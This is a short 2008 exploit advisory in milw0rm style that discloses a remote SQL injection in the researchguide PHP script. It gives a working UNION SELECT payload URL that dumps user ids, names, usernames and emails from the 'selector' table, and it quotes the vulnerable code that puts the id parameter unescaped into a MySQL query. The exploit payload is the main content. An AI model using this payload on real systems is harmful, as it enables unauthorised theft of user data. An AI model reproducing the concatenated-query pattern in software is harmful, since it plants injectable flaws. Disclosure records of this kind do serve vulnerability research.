38 lines
No EOL
1.2 KiB
Text
38 lines
No EOL
1.2 KiB
Text
:::::::-. ... ::::::. :::.
|
|
;;, `';, ;; ;;;`;;;;, `;;;
|
|
`[[ [[[[' [[[ [[[[[. '[[
|
|
$$, $$$$ $$$ $$$ "Y$c$$
|
|
888_,o8P'88 .d888 888 Y88
|
|
MMMMP"` "YmmMMMM"" MMM YM
|
|
|
|
[ Discovered by dun \ dun[at]strcpy.pl ]
|
|
|
|
################################################################
|
|
# [ researchguide ] Remote SQL Injection Vulnerability #
|
|
################################################################
|
|
#
|
|
# Script site: http://researchguide.sourceforge.net/
|
|
# http://sourceforge.net/projects/researchguide/
|
|
#
|
|
#
|
|
# Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/*
|
|
#
|
|
#
|
|
# Bug:
|
|
#
|
|
# ...
|
|
# $query = "SELECT * FROM $guideTable WHERE id=$id";
|
|
#
|
|
# $result = mysql_query ($query)
|
|
# or die ('The query failed!');
|
|
# ...
|
|
#
|
|
########################################################
|
|
# Greetz: D3m0n_DE * sid.psycho * str0ke and otherz.. #
|
|
########################################################
|
|
|
|
[ dun / 2008 ]
|
|
|
|
*******************************************************************************************
|
|
|
|
# milw0rm.com [2008-06-23] |